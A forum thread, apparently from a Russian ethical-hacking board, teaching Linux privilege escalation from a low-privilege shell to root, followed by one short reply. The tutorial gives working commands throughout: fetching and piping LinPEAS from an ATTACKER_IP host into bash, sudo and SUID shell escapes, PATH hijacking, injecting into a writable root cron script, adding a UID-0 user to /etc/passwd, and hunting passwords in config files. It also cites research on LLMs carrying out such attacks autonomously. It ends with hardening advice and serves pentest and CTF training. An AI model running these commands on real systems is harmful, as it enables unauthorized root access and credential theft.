ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Этичный хакинг или пентестинг (https://forum.antichat.xyz/forumdisplay.php?f=209)
-   -   Повышение привилегий Linux: от первичной разведки до root через LinPEAS, LinEnum и ручные техники (https://forum.antichat.xyz/showthread.php?t=592611)

Сергей Попов 13.04.2026 11:15

https://forum.antichat.xyz/attachmen...8b15d58732.png

Ты получил shell на машине. Курсор мигает от имени
Код:

www-data
или какого-нибудь
Код:

low-priv-user
. До root - один шаг, но этот шаг может занять пять минут или пять часов - насколько широк арсенал техник и инструментов для этого, я разложил в полном руководстве Linux для пентестера. Зависит от того, умеешь ли ты читать систему. Я разберу повышение привилегий Linux так, как делаю это на реальных пентестах и CTF: от первой команды после foothold до полного root-доступа, с конкретными командами, разбором вывода и объяснением, почему каждая мисконфигурация опасна.
Что такое privilege escalation Linux и зачем это пентестеру
Эскалация привилегий Linux - получение более высоких прав в системе, чем те, что есть у текущего пользователя. В терминах MITRE ATT&CK это целая тактика Privilege Escalation с десятками техник: от Exploitation for Privilege Escalation (T1068) до Setuid and Setgid (T1548.001) и Sudo and Sudo Caching (T1548.003).

На практике повышение привилегий - обязательный этап любого пентеста. Получив initial access, атакующий видит систему глазами непривилегированного пользователя. Чтобы стянуть хеши из
Код:

/etc/shadow
, закрепиться бэкдором или пойти дальше по сети - нужен root. Без privilege escalation пентест заканчивается на полпути, а отчёт будет жиденьким.

Повышение привилегий бывает двух видов:
  • Вертикальное - от обычного пользователя к root (или другому привилегированному аккаунту)
  • Горизонтальное - переход на другого пользователя с тем же уровнем прав, но с доступом к другим данным
Здесь фокус на вертикальном - от low-priv до root-доступа.
Ручная разведка: первые команды после foothold
Прежде чем запускать автоматику, я всегда делаю базовую разведку руками. Две минуты работы, зато потом вывод LinPEAS читается осмысленно, а не как простыня текста. Команды ниже покрывают несколько техник Discovery по MITRE ATT&CK:
Код:

whoami
/
Код:

id
- System Owner/User Discovery (T1033),
Код:

hostname
/
Код:

uname -a
/
Код:

cat /etc/os-release
- System Information Discovery (T1082).
Кто я и где я

Bash:


Код:

whoami
# текущий пользователь
id
# UID, GID и группы - обрати внимание на docker, lxd, disk
hostname
# имя хоста - часто подсказывает роль сервера
uname
-a
# ядро и архитектура - критично для kernel exploits
cat
/etc/os-release
# дистрибутив и версия

Вывод
Код:

id
может сразу дать вектор. Если пользователь в группе
Код:

docker
,
Код:

lxd
или
Код:

disk
- считай, полдела сделано. Это почти гарантированный путь к root без единого эксплойта.
Проверка sudo

Bash:


Код:

sudo
-l
# какие команды можно выполнять через sudo
sudo
-V
# версия sudo - старые версии бывают дырявыми

Код:

sudo -l
- первое, что я набираю на любой машине. Если в выводе
Код:

NOPASSWD
и любой бинарь из GTFOBins - можно идти пить кофе, root уже твой.
Поиск SUID-бинарей

Bash:


Код:

find
/ -perm -4000 -type f -ls
2>
/dev/null

Эта команда ищет все файлы с установленным SUID-битом. Каждый такой файл выполняется с правами владельца, а не текущего пользователя. Если владелец root, а бинарь позволяет выполнить произвольную команду - это прямой путь к эскалации привилегий (T1548.001, Privilege Escalation / Defense Evasion).
Cron-задачи и таймеры

Bash:


Код:

cat
/etc/crontab
# системные cron-задачи
ls
-la /etc/cron.d/
# дополнительные cron-конфиги
ls
-la /etc/cron.daily/ /etc/cron.hourly/
# периодические задачи
systemctl list-timers --all
2>
/dev/null
# systemd-таймеры

Сеть и сервисы

Bash:


Код:

ip
a
# сетевые интерфейсы - ищи dual-homed
ss -tlnp
# слушающие порты - внутренние сервисы
cat
/etc/hosts
# записи hosts - могут указать на другие машины

История и пароли

Bash:


Код:

history
# команды предыдущих сессий
cat
~/.bash_history
2>
/dev/null
# история bash
find
/ -name
"*.conf"
-o -name
"*.cfg"
-o -name
"*.ini"
2>
/dev/null
|
head
-20
grep
-ri
"password"
/etc/
2>
/dev/null
|
head
-20

File and Directory Discovery (T1083), доступ к /etc/passwd и /etc/shadow (T1003.008, Credential Access) и поиск паролей в конфигурационных файлах (T1552.001, Credential Access) - классика post-exploitation. Удивительно, как часто пароли валяются в конфигах в открытом виде.
LinPEAS: автоматизация разведки для повышения привилегий
LinPEAS (Linux Privilege Escalation Awesome Script) автоматизирует всё, что я описал выше, и добавляет сотни проверок сверху. Я запускаю его на каждой машине после ручной разведки, потому что глаз пропускает вещи: capabilities на бинарях, writable PATH-директории, утечки токенов в переменных окружения. LinPEAS это находит.
Как запустить LinPEAS
Ты уже на целевой машине. Способ доставки зависит от ситуации:

Вариант 1 - через HTTP-сервер атакующего:

Bash:


Код:

# На атакующей машине (Kali/Parrot):
python3 -m http.server
8080
# На целевой машине:
curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash

Вариант 2 - загрузка и запуск локально:

Bash:


Код:

# На целевой машине:
wget
http://ATTACKER_IP:8080/linpeas.sh -O /tmp/linpeas.sh
chmod
+x /tmp/linpeas.sh
/tmp/linpeas.sh

Вариант 3 - без сохранения скрипта на диск (частичная скрытность):

Bash:


Код:

curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/linpeas_output.txt

Третий вариант удобен тем, что скрипт не сохраняется как файл, но вывод ловишь для анализа. Только не обольщайся - это не полноценный stealth: процесс виден в
Код:

/proc
, а
Код:

auditd
всё зафиксирует.
Как читать вывод LinPEAS
LinPEAS использует цветовую маркировку. Вот что реально важно:

ЦветЗначениеДействиеКрасн ый/ЖёлтыйС вероятностью 95% это вектор повышения привилегийЭксплуатируй - почти наверняка рабочий векторКрасныйНужно изучить - может потребовать дополнительных условийКопни глубже перед эксплуатациейЗелёныйИнтер есная информация для дальнейшего анализаЗапомни на потомСинийОбычная системная информацияИспользуй для контекста

Лично я сначала пролистываю весь вывод, выцепляя красно-жёлтые строки. Чаще всего они указывают на:
  • SUID-бинари, которые есть в GTFOBins
  • Cron-задачи, запускающие скрипты с записью для всех
  • Sudo-правила с NOPASSWD для опасных команд
  • Writable файлы в PATH
  • Capabilities вроде
    Код:

    cap_setuid
    на бинарях
  • Пароли в конфигурационных файлах
LinEnum: альтернатива для повышения привилегий Linux
LinEnum - ещё один скрипт для перечисления системной информации. Он менее детализирован, чем LinPEAS, зато работает быстрее и даёт чистый, легко читаемый вывод. Я беру LinEnum, когда нужна скорость или когда LinPEAS по какой-то причине не запускается (бывает на урезанных контейнерах).
Запуск LinEnum

Bash:


Код:

# Доставка аналогична LinPEAS:
wget
http://ATTACKER_IP:8080/LinEnum.sh -O /tmp/LinEnum.sh
chmod
+x /tmp/LinEnum.sh
/tmp/LinEnum.sh -t
# флаг -t включает расширенные проверки

LinEnum собирает информацию о пользователях, файловых правах, процессах, пакетах, сетевых конфигурациях, cron-задачах, журналах, версиях ПО. Вывод структурирован по разделам - удобно для быстрого прогона.
Сравнение инструментов автоматизации

ИнструментНазначениеЦвето вая маркировкаСкоростьГлубина LinPEASПолная разведка привилегийДаСредняяМаксим альнаяLinEnumПеречисление системной информацииНетВысокаяСредн яяpspyМониторинг процессов без rootНетРеальное времяУзкая (процессы)Linux Exploit SuggesterПоиск kernel exploitsНетВысокаяУзкая (ядро)Linux Smart EnumerationПеречисление с уровнями детализацииЧастичноСредня яНастраиваемая

pspy заслуживает отдельного слова. Это штука для мониторинга процессов в реальном времени без root-прав. Незаменима, когда cron-задача выполняется по расписанию, но не видна в
Код:

/etc/crontab
(пользовательские crontab'ы других аккаунтов). Запускаешь pspy, ждёшь пару минут - и видишь, какие процессы стартуют от root.

Bash:


Код:

# Запуск pspy:
./pspy64
# для 64-bit систем
# или
./pspy32
# для 32-bit

Техники повышения привилегий Linux: пошаговые примеры
Теория - хорошо, но без практики это просто буквы. Для каждой техники - сценарий, команды и объяснение, почему это работает.
Sudo misconfiguration: злоупотребление правами sudo
Техника Sudo and Sudo Caching (T1548.003, Privilege Escalation / Defense Evasion) - самый частый вектор на CTF и один из самых распространённых в реальных средах.

Шаг 1 - проверяем sudo-права:

Bash:


Код:

sudo
-l

Пример вывода:

Код:


Код:

User www-data may run the following commands on target:
    (root) NOPASSWD: /usr/bin/find

Шаг 2 - проверяем GTFOBins:

Идём на GTFOBins и ищем
Код:

find
. В разделе "Sudo":

Bash:


Код:

sudo
find
.
-exec /bin/bash
\
;
-quit

Шаг 3 - получаем root:

Bash:


Код:

sudo
find
.
-exec /bin/bash
\
;
-quit
whoami
# root

Почему это работает? Админ хотел дать пользователю возможность искать файлы, но
Код:

find
с флагом
Код:

-exec
выполняет любую команду.
Код:

NOPASSWD
- даже пароль не спросит. Одна строка в sudoers - и система скомпрометирована.

Другие опасные бинари в sudo:
Код:

vim
,
Код:

nano
,
Код:

less
,
Код:

awk
,
Код:

perl
,
Код:

python
,
Код:

ruby
,
Код:

env
,
Код:

man
. Каждый позволяет получить shell. Видишь любой из них в выводе
Код:

sudo -l
- сразу проверяй GTFOBins.
SUID бит Linux: эксплуатация через бинари с setuid
SUID-бит (Set User ID upon execution) - специальное разрешение, при котором файл выполняется с правами владельца. Техника Setuid and Setgid (T1548.001, Privilege Escalation / Defense Evasion).

Шаг 1 - находим SUID-бинари:

Bash:


Код:

find
/ -perm -4000 -type f -ls
2>
/dev/null

Пример вывода (обрезанный):

Код:


Код:

131085  40 -rwsr-xr-x  1 root  root  40152 Jan 27  2020 /usr/bin/mount
  131090  44 -rwsr-xr-x  1 root  root  44784 Jan 27  2020 /usr/bin/newgrp
  131143  64 -rwsr-xr-x  1 root  root  63960 Feb  7  2020 /usr/bin/passwd
  262285  20 -rwsr-xr-x  1 root  root  16712 Sep  1  2020 /opt/custom-backup

Стандартные SUID-бинари (
Код:

mount
,
Код:

passwd
,
Код:

ping
) - норма, они тут живут. Нас интересуют нестандартные:
Код:

/opt/custom-backup
- вот это уже подозрительно.

Шаг 2 - анализируем нестандартный бинарь:

Bash:


Код:

file
/opt/custom-backup
strings /opt/custom-backup
|
head
-30
ltrace /opt/custom-backup
2>
&1
|
head
-20
# если ltrace доступен

Если
Код:

strings
показывает вызов внешней команды без полного пути (просто
Код:

cp
вместо
Код:

/usr/bin/cp
) - это потенциальный вектор для PATH manipulation. Работает, когда SUID-бинарь вызывает команду через
Код:

system()
/
Код:

popen()
(они используют shell и переменную PATH). Если бинарь использует
Код:

execve()
с абсолютным путём - этот фокус не пройдёт. Проверить можно через
Код:

ltrace
или
Код:

strace
(если доступен).

Шаг 3 - эксплуатация через PATH:

Bash:


Код:

# Создаём вредоносный "cp" в /tmp:
echo
'#!/bin/bash'
>
/tmp/cp
echo
'/bin/bash -p'
>>
/tmp/cp
chmod
+x /tmp/cp
# Подменяем PATH:
export
PATH
=
/tmp:
$PATH
# Запускаем SUID-бинарь:
/opt/custom-backup
whoami
# root

Флаг
Код:

-p
у bash - критически важен. Без него bash сбросит привилегии. С
Код:

-p
он сохраняет effective UID, установленный через SUID. Для тех кто в танке - без этого флага bash решит, что ты «не настоящий root», и откатит права обратно.
Цитата:


Примечание: На современных дистрибутивах (Debian 12+, Ubuntu 22.04+) glibc secure execution mode (
Код:

__libc_enable_secure
) может сбрасывать переменные окружения (включая PATH) для SUID-процессов, а
Код:

system()
может использовать
Код:

/bin/sh

Код:

dash
, который ведёт себя иначе. Проверяй, какой shell использует
Код:

system()
и не сбрасывается ли PATH в конкретной среде.


Cron jobs privilege escalation: эксплуатация планировщика задач
Cron-задачи - любимый вектор пентестеров. Админы создают скрипты бэкапа от root, а права на сами скрипты выставляют как попало. Классика жанра.

Шаг 1 - находим cron-задачи:

Bash:


Код:

cat
/etc/crontab
ls
-la /etc/cron.d/

Пример вывода /etc/crontab:

Код:


Код:

* * * * * root /opt/scripts/backup.sh
Шаг 2 - проверяем права на скрипт:

Bash:


Код:

ls
-la /opt/scripts/backup.sh
# -rwxrwxrwx 1 root root 45 Jun 10 12:00 /opt/scripts/backup.sh

Права
Код:

777
- writable для всех. Скрипт выполняется каждую минуту от root. Тут даже думать не надо.

Шаг 3 - внедряем payload:

Bash:


Код:

echo
'#!/bin/bash'
>
/opt/scripts/backup.sh
echo
'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
>>
/opt/scripts/backup.sh

Шаг 4 - ждём минуту и получаем root:

Bash:


Код:

# Через минуту:
ls
-la /tmp/rootbash
# -rwsr-sr-x 1 root root ... /tmp/rootbash
/tmp/rootbash -p
whoami
# root

Если cron-задача не видна в
Код:

/etc/crontab
, запускаем pspy и наблюдаем процессы в реальном времени. Пользовательские crontab'ы скрыты от других аккаунтов, но pspy покажет их выполнение - он мониторит
Код:

/proc
напрямую.
Kernel exploit: эксплуатация уязвимостей ядра
Техника Exploitation for Privilege Escalation (T1068, Privilege Escalation) - последнее средство, когда остальные векторы не сработали. Kernel exploits нестабильны и могут уронить систему, поэтому в реальном пентесте их используют с осторожностью (и с письменным согласием заказчика).

Классический пример - Dirty COW (CVE-2016-5195). По данным NVD: race condition в
Код:

mm/gup.c
в ядрах Linux 2.x–4.x до 4.8.3 позволяет локальным пользователям повысить привилегии через некорректную обработку copy-on-write (COW) при записи в read-only memory mapping. CVSS: 7.0 (HIGH), вектор
Код:

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
. CWE: CWE-362 (Race Condition).

Разбор CVSS-вектора (чтобы не казался магическими буквами):
  • Код:

    AV:L
    - атака локальная, нужен доступ к системе
  • Код:

    AC:H
    - высокая сложность (race condition - надо поймать момент)
  • Код:

    PR:L
    - достаточно низких привилегий
  • Код:

    UI:N
    - действия пользователя не требуются
Порядок действий при поиске kernel-эксплойтов:

Bash:


Код:

# 1. Узнаём версию ядра:
uname
-r
# Пример: 3.13.0-24-generic
# 2. Запускаем Linux Exploit Suggester:
./linux-exploit-suggester.sh
# 3. Или ищем вручную:
searchsploit linux kernel
3.13
privilege escalation

Linux Exploit Suggester оценивает вероятность успеха: Highly Probable, Probable, Less Probable. Фокусируйся на первой категории - остальные чаще расстраивают, чем радуют.
Writable /etc/passwd: добавление root-пользователя
Если файл
Код:

/etc/passwd
доступен для записи (встречается на CTF-машинах и иногда в реальных средах с кривыми руками), можно тупо добавить нового пользователя с UID 0.

Bash:


Код:

# Проверяем права:
ls
-la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd
# Генерируем хеш пароля (SHA-512, OpenSSL 1.1.1+; если -6 недоступен, используй -1 для MD5):
openssl
passwd
-6 -salt xyz password123
# $6$xyz$rD...hash...
# Добавляем пользователя с UID 0:
echo
'hacker:$6$xyz$rD...hash...:0:0:root:/root:/bin/bash'
>>
/etc/passwd
# Переключаемся:
su
hacker
# Вводим password123
whoami
# root

Это прямой пример техники Create Account: Local Account (T1136.001, Persistence) - добавление нового пользователя с UID 0 в файл учётных данных.
Пошаговый чейн: от shell до root
Собираю всё в единый алгоритм - так я работаю на реальной машине:

Делай раз - базовая разведка руками:

Bash:


Код:

whoami
&&
id
uname
-a
sudo
-l
cat
/etc/crontab
find
/ -perm -4000 -type f -ls
2>
/dev/null

Если
Код:

sudo -l
даёт вектор - эксплуатируй сразу через GTFOBins. Нестандартный SUID-бинарь - анализируй. Writable cron-задача - модифицируй. На этом этапе 60% CTF-машин уже решены.

Делай два - запускай LinPEAS:

Bash:


Код:

curl
http://ATTACKER_IP:8080/linpeas.sh
|
bash
|
tee
/tmp/lp.txt

Ищи красно-жёлтые маркеры. Проверяй всё, что LinPEAS отметил как высоковероятный вектор. Обращай внимание на capabilities (
Код:

getcap -r / 2>/dev/null
), writable директории в PATH и конфиги с паролями.

Делай три - мониторинг и глубокий анализ:

Bash:


Код:

# Если ничего не нашлось - запускай pspy:
./pspy64
# Параллельно ищи пароли:
grep
-ri
"pass\|pwd\|credential"
/var/www/ /opt/ /home/
2>
/dev/null
find
/ -name
"*.bak"
-o -name
"*.old"
-o -name
"*.conf"
2>
/dev/null
|
xargs
grep
-li
"password"
2>
/dev/null

Только если все предыдущие шаги не дали результат - переходи к kernel exploits. Проверяй версию ядра через Linux Exploit Suggester и ищи подходящий эксплойт. Это крайний вариант, а не первый.
Как автоматика конкурирует с ручным анализом
Согласно исследованию Happe и Cito (2023), «LLMs as Hackers: Autonomous Linux Privilege Escalation Attacks» (arxiv.org), GPT-4-Turbo успешно эксплуатировал от 33% до 83% уязвимостей в benchmark privilege escalation - сравнимо с результатами профессиональных пентестеров (75%). При этом даже продвинутые модели спотыкались на multi-step эксплуатации: например, не могли связать найденный SUID-бинарь с необходимостью проверить его в GTFOBins.

Что это значит на практике? LinPEAS и LinEnum не заменяют думающего пентестера. Скрипт покажет данные, но связать находки в рабочий чейн - твоя работа. LinPEAS может пометить
Код:

/usr/bin/python3
с capability
Код:

cap_setuid
красным цветом, но конвертировать эту находку в root shell должен ты:

Bash:


Код:

# Пример: Python с cap_setuid
/usr/bin/python3 -c
'import os; os.setuid(0); os.system("/bin/bash")'

Защита и Linux hardening: что закрывать
Понимание атак даёт понимание защиты. Конкретные рекомендации:

Вектор атакиМера защитыSudo misconfigurationНикогда не давать sudo на shell-интерпретаторы, редакторы, find, awk. Строго определённые команды с полным путёмSUID на нестандартных бинаряхРегулярно аудитировать:
Код:

find / -perm -4000 -type f -ls
. Снимать SUID-бит с ненужных файлов:
Код:

chmod u-s /path/to/binary
Writable cron-скриптыВладелец root, права 700 или 755. Никогда не 777Устаревшее ядроОбновлять ядро. Использовать
Код:

livepatch
для критичных систем, где перезагрузка невозможнаПароли в конфигахVault-системы (HashiCorp Vault, ansible-vault). Права на конфиги: 600, владелец - сервисный аккаунтWritable /etc/passwdПрава:
Код:

/etc/passwd
- 644,
Код:

/etc/shadow
- 640. Мониторить изменения через auditd

Итоги
Повышение привилегий Linux - не магия и не набор готовых рецептов. Это системный процесс: разведка, анализ, эксплуатация. LinPEAS и LinEnum автоматизируют разведку, GTFOBins дают справочник по эксплуатации, pspy помогает увидеть скрытые процессы. А связать всё это в рабочий чейн - задача пентестера, не скрипта.

Начни с лабораторий. На TryHackMe есть комнаты «Linux PrivEsc» и «Linux PrivEsc Arena», на HackerLab - десятки машин с различными векторами. Запускай LinPEAS на каждой, учись читать вывод, проверяй находки вручную. Через двадцать машин ты будешь видеть вектор быстрее, чем скрипт закончит работу. Проверено.

alfabuster 13.04.2026 18:11

Да LinPeas это чуть ли не основная утилита, для быстрого поиска повышения привелегий в linux системах. pspy тоже крутая утилита, для поиска процессов запускающихся и запущенных в реальном времени. Остальные утилиты уже давненько так на гитхабе не обновляются...


Время: 10:41